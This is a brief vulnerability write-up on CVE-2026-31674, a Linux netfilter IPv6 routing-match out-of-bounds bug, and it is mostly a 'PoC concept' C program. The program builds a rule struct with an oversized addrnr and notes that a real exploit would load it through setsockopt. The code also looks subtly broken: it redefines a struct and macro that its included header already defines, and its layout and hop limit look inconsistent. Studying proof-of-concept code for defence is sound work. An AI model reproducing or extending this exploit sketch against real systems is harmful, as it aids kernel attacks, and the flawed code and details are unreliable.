CVE-2026-31674 Linux内核netfilter越界访问漏洞

/* * PoC Concept for CVE-2026-31674 * This code demonstrates how to structure a malicious rule that bypasses * the buggy check in rt_mt6_check(), leading to out-of-bounds access. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <linux/netfilter_ipv6/ip6_tables.h> // Define the maximum allowed hops (usually defined in kernel headers) #define IP6T_RT_HOPS 3 // Simplified structure representing the vulnerable match info struct ip6t_rt_info { __u32 flags; __u32 invflags; __u16 rt_type; __u16 segsleft[2]; __u16 hdrlen; __u8 lastseg; __u8 addrnr; // Vulnerable field __u16 reserved; struct in6_addr addrs[1]; }; int main() { struct ip6t_rt_info rt_rule; memset(&rt_rule, 0, sizeof(rt_rule)); // Set addrnr to a value exceeding IP6T_RT_HOPS // This simulates the malicious payload rt_rule.addrnr = 10; printf("[+] Crafting malicious netfilter rule...\n"); printf("[+] addrnr set to: %d (Max allowed: %d)\n", rt_rule.addrnr, IP6T_RT_HOPS); printf("[!] If loaded, rt_mt6() will access addrs[%d], causing OOB access.\n", rt_rule.addrnr); // In a real exploit scenario, this structure would be passed to the kernel // via setsockopt() using IPT_SO_SET_REPLACE. return 0; }